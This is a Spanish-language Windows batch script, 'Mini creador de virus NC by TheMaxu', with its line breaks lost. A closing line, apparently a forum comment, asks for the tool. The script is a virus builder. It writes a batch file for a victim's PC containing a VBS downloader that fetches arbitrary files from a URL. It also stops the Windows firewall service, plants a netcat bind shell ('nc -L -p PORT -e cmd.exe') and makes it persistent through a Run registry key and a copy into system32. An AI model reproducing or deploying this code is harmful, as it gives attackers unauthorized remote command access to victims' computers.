echo offcolor 1Amode con cols=65lines=44title Mini creador de virus NC by TheMaxuclsecho.echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»echo º THE MAXU Mini Creador ºecho ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼecho.echo Seleciona el nombre para el Virus:echo.set /p name=echo @echo off > C:\%name%.batecho.echo Archivo Creado en C:\ con el nombre: %name%.batpause > nulgoto menu:menutitle Mini creador de virus NC by TheMaxuclsecho.echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»echo º THE MAXU Mini Creador ºecho ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼecho.echo.echo Utilice el descargador para descargar Nc en el pc de la victima.echo Utilice Abrir puertos para selecionar el puerto a abrirecho.echo.echo 1.Selecionar las opciones de descargaecho 2.Descomprimir Zipecho 3.Abrir puerto de Netcatecho 4.Informacionecho 5.Finalizarecho.echo.set /p menup=¿Que desea Hacer?: if %menup%==1 goto descargadorif %menup%==2 goto zipif %menup%==3 goto netcatif %menup%==4 goto infoif %menup%==5 goto finalizar:descargadortitle -Descargador De ArchivosClsecho Escriba la direcion de la descargaset /p direciondescarga=echo Escriba la ruta en la que se guardara(ej: C:\imagen.png o C:\programa.exe)set /p guardardescarga=echo Escriba un nombre para utilizar el vbsset /p descarga=echo echo Const adTypeBinary = 1 ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Const adSaveCreateOverWrite = 2 ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Dim BinaryStream ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Set BinaryStream = CreateObject("ADODB.Stream") ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.Type = adTypeBinary ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.Open ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Function BinaryGetURL(URL) ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Dim Http ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Http.Open "GET", URL, False ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo Http.Send ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo BinaryGetURL = Http.ResponseBody ^>^>c:\%descarga%.vbs >> C:\%name%.batecho echo End Function ^>^>c:\%descarga%.vbs >> C:\%name%.batecho CScript //nologo c:\%descarga%.vbs "%direciondescarga%" "%guardardescarga%" >> C:\%name%.batecho Del c:\%descarga%.vbs >> C:\%name%.batgoto menu:zipecho.echo No disponible temporalmenteecho.pause >nullgoto menu:netcatclsecho Selecione el puerto para NetCat echo.echo Luego podra conectarse al pc mendianteecho netcat en ese puerto.echo.set /p puerto=echo NET STOP "SharedAccess" >> C:\%name%.batecho echo @echo off ^>^> C:\netcat.bat >> C:\%name%.batecho echo nc -d -L -p %puerto% -e cmd.exe ^>^> C:\netcat.bat >> C:\%name%.batecho echo exit ^>^> C:\netcat.bat >> C:\%name%.batecho reg add hklm\software\microsoft\windows\currentversion\run /V C:\netcat.bat /D %windir%\system32\netcat.bat>> C:\%name%.batecho copy /Y C:\netcat.bat %windir%\system32 >> C:\%name%.batecho del C:\netcat.bat >> C:\%name%.batclsecho ok, virus editado.pause > nulgoto menu:infoclsecho.echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»echo º THE MAXU Mini Creador ºecho ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼecho.echo Utilize este programa para crear un acceso a una pc echo desde netcat, utilize el descargador para que se echo descargue netcat o un zip con este(abra que descomprimir)echo y luego incluya el codigo para abrir el puerto.echo.echo.echo The Maxupause >nullgoto menu:finalizarecho exit >> C:\%name%.batexit
Tiene algunos aspectos que se pueden mejorar me puedes pasar al creador?